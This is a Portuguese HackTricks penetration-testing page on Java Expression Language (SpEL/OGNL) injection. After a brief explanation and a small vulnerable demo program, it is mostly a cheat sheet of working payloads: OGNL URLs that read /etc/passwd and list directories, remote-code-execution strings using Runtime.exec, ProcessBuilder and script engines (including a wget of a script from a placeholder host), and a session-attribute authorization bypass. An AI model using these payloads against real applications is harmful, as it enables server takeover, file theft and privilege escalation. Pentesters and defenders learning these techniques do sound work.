# EL - Expression Language
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
## Informações Básicas A Linguagem de Expressão (EL) é fundamental no JavaEE para conectar a camada de apresentação (por exemplo, páginas da web) e a lógica da aplicação (por exemplo, beans gerenciados), permitindo a interação entre eles. É predominantemente usada em: - **JavaServer Faces (JSF)**: Para vincular componentes de UI a dados/ações de backend. - **JavaServer Pages (JSP)**: Para acesso e manipulação de dados dentro de páginas JSP. - **Contexts and Dependency Injection for Java EE (CDI)**: Para facilitar a interação da camada web com beans gerenciados. **Contextos de Uso**: - **Spring Framework**: Aplicado em vários módulos como Segurança e Dados. - **Uso Geral**: Através da API SpEL por desenvolvedores em linguagens baseadas em JVM como Java, Kotlin e Scala. EL está presente em tecnologias JavaEE, ambientes autônomos e é reconhecível através das extensões de arquivo `.jsp` ou `.jsf`, erros de pilha e termos como "Servlet" nos cabeçalhos. No entanto, suas características e o uso de certos caracteres podem depender da versão. {% hint style="info" %} Dependendo da **versão do EL**, algumas **funcionalidades** podem estar **Ativadas** ou **Desativadas** e geralmente alguns **caracteres** podem ser **proibidos**. {% endhint %} ## Exemplo Básico (Você pode encontrar outro tutorial interessante sobre EL em [https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/)) Baixe do repositório [**Maven**](https://mvnrepository.com) os arquivos jar: * `commons-lang3-3.9.jar` * `spring-core-5.2.1.RELEASE.jar` * `commons-logging-1.2.jar` * `spring-expression-5.2.1.RELEASE.jar` E crie o seguinte arquivo `Main.java`: ```java import org.springframework.expression.Expression; import org.springframework.expression.ExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser; public class Main { public static ExpressionParser PARSER; public static void main(String[] args) throws Exception { PARSER = new SpelExpressionParser(); System.out.println("Enter a String to evaluate:"); java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in)); String input = stdin.readLine(); Expression exp = PARSER.parseExpression(input); String result = exp.getValue().toString(); System.out.println(result); } } ``` Em seguida, compile o código (se você não tiver o `javac` instalado, instale `sudo apt install default-jdk`): ```java javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java ``` Execute a aplicação com: ```java java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main Enter a String to evaluate: {5*5} [25] ``` Note como no exemplo anterior o termo `{5*5}` foi **avaliado**. ## **Tutorial Baseado em CVE** Confira **neste post: [https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)** ## Payloads ### Ações Básicas ```bash #Basic string operations examples {"a".toString()} [a] {"dfd".replace("d","x")} [xfx] #Access to the String class {"".getClass()} [class java.lang.String] #Access ro the String class bypassing "getClass" #{""["class"]} #Access to arbitrary class {"".getClass().forName("java.util.Date")} [class java.util.Date] #List methods of a class {"".getClass().forName("java.util.Date").getMethods()[0].toString()} [public boolean java.util.Date.equals(java.lang.Object)] ``` ### Detecção * Detecção do Burp ```bash gk6q${"zkz".toString().replace("k", "x")}doap2 #The value returned was "igk6qzxzdoap2", indicating of the execution of the expression. ``` * Detecção J2EE ```bash #J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer): https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL ``` * Dormir 10 segundos ```bash #Blind detection vector (sleep during 10 seconds) https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString} ``` ### Inclusão Remota de Arquivos ```bash https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd ``` ### Listagem de Diretórios ```bash https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=.. ``` ### RCE * **Explicação** básica de RCE ```bash #Check the method getRuntime is there {"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()} [public static java.lang.Runtime java.lang.Runtime.getRuntime()] #Execute command (you won't see the command output in the console) {"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")} [Process[pid=10892, exitValue=0]] #Execute command bypassing "getClass" #{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl .burpcollaborator.net")} # With HTMl entities injection inside the template ``` * Execução de Código Remoto **Linux** ```bash https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt ``` * RCE **Windows** (não testado) ```bash https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt ``` * **Mais RCE** ```java // Common RCE payloads ''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec() ''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance().start() // Method using Runtime via getDeclaredConstructors #{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])} #{session.getAttribute("rtc").setAccessible(true)} #{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")} // Method using processbuilder ${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())} ${request.getAttribute("c").add("cmd.exe")} ${request.getAttribute("c").add("/k")} ${request.getAttribute("c").add("ping x.x.x.x")} ${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())} ${request.getAttribute("a")} // Method using Reflection & Invoke ${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")} // Method using ScriptEngineManager one-liner ${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))} // Method using ScriptEngineManager {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}} ${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\"); //https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt (T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream())) T(java.lang.System).getenv()[0] T(java.lang.Runtime).getRuntime().exec('ping my-domain.com') T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream()) ''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe') ``` ### Inspecionando o ambiente * `applicationScope` - variáveis globais da aplicação * `requestScope` - variáveis da requisição * `initParam` - variáveis de inicialização da aplicação * `sessionScope` - variáveis de sessão * `param.X` - valor do parâmetro onde X é o nome de um parâmetro http Você precisará fazer o cast dessas variáveis para String como: ```bash ${sessionScope.toString()} ``` #### Exemplo de bypass de autorização ```bash ${pageContext.request.getSession().setAttribute("admin", true)} ``` A aplicação também pode usar variáveis personalizadas como: ```bash ${user} ${password} ${employee.FirstName} ``` ## Bypass do WAF Verifique [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/) ## Referências * [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/) * [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools) * [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).